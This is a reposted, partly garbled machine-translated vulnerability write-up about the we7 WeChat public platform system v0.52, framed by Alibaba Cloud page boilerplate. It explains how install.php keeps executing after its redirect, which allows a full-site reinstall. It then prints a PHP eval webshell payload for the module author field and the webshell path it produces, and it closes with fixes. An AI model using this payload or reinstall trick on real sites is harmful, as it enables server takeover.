WeChat-WeChat public platform self-help engine system full-site reinstallation + SQL Injection getshell

Source: Internet
Author: User

Micro-engine-public platform self-help engine system full-site reinstallation + SQL Injection getshell
Http://www.we7.cc/download the source code, the volume is quite large. Verify that the vulnerability is v0.52.


Http://bbs.we7.cc/forum.php? Mod = viewthread & tid = 1155 in the/install. php file 26 ~ The 28 lines of code are as follows:

If (file_exists (IA_ROOT. '/data/install. lock') & $ action! = 'Finish ') {header ('location:./index. php ');}

 

If the conditions are met, the system jumps to index. php, but the header does not prevent the program from continuing to execute. By constructing a post package, you can reinstall the entire site. Http: // 127.0.0.1/weixin/member. php? Act = login & admin/111111, add a new module in global Settings> module Management> module design and enter a trojan in the author's box */eval ($ _ POST [chopper]);/*, generate the module template webshell address: http: // 127.0.0.1/weixin/source/modules/test/module. php Solution:1. After the installation is complete, the install. php file is automatically deleted, or jumps out after the conditions are met. 2. The SQL injection field is correctly filtered.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.